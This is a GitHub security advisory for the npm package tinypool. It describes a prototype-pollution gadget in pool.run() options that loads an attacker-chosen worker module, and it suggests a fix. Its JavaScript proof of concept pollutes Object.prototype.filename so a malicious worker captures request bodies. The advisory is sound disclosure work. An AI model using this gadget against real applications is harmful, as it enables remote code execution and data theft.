GitHub Advisoryadvisory · npm
GHSA-85c8-ppgw-ccpr Tinypool: Prototype Pollution Gadget to RCE in run() options
CRITICAL
Official page ↗
- Aliases
- CVE-2026-104849
- Ecosystem
- npm
- Packages
- tinypool
- Severity
- Critical
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
- Weaknesses
- CWE-1321, CWE-94
- Reviewed
- 2026-10-05
Affected packages
• npm tinypool: < 2.1.2 → fixed in 2.1.2
Description
`tinypool` is a fork of `piscina` and inherited the same prototype-pollution surface. When `pool.run(task, options)` is called, the `filename` option is read from the provided `options` object. If that object does not have an own `filename` property, the lookup falls through to `Object.prototype`.
An attacker who can pollute `Object.prototype.filename` (for example, via a vulnerable `lodash.merge`, `qs.parse`, or similar elsewhere in the application) can make tinypool load and execute an attacker-controlled worker module.
This is the tinypool counterpart to the piscina root discovery GHSA-x9g3-xrwr-cwfg.
`pool.run(task)` with no second argument is not affected, because `kDefaultOptions.filename` is `null` and the options object is not user-controlled. The exploit only triggers when the caller passes their own options object to `pool.run()`.
Impact
Arbitrary JavaScript execution in the worker pool. If the application passes attacker-controlled data as the `run()` task and also supplies a `run()` options object, the attacker can redirect execution to a malicious worker that exfiltrates or modifies that data, achieving remote code execution and/or data exfiltration.
Proof of Concept
```js
// legitimate-worker.mjs
export default async (task) => ({ by: 'legitimate-worker', processed: task })
// malicious-worker.mjs
export default async (task) => ({ by: 'attacker', stolenRequestBody: task })
// main.js
import express from "express";
import Tinypool from "tinypool";
import { fileURLToPath } from "node:url";
import path from "node:path";
const __dirname = path.dirname(fileURLToPath(import.meta.url));
// Simulate upstream prototype pollution (lodash merge, qs parse, etc.)
Object.prototype.filename = path.join(__dirname, "malicious-worker.mjs");
const pool = new Tinypool({
filename: path.join(__dirname, "legitimate-worker.mjs"),
});
express()
.use(express.json())
.post("/", async (req, res) => {
const ac = new AbortController();
const result = await pool.run(req.body, { signal: ac.signal });
res.json(result);
})
.listen(31337);
```
Suggested fix
Read all user-supplied options from own properties only (`Object.hasOwn` or `Object.prototype.hasOwnProperty.call`) and build the internal `ThreadPool.options` object with a null prototype.
Related
Alias · CVE (1)
- CVE-2026-104849 Tinypool is a minimal Node.js worker thread pool implementation. vulnerability
References
- https://github.com/tinylibs/tinypool/security/advisories/GHSA-85c8-ppgw-ccpr web
- https://nvd.nist.gov/vuln/detail/CVE-2026-104849 advisory
- https://github.com/tinylibs/tinypool/pull/135 web
- https://github.com/tinylibs/tinypool/commit/f41411a3e23324c674f35a19a3240f7a7c40ffbf web
- https://github.com/tinylibs/tinypool package
- https://github.com/tinylibs/tinypool/releases/tag/v2.1.2 web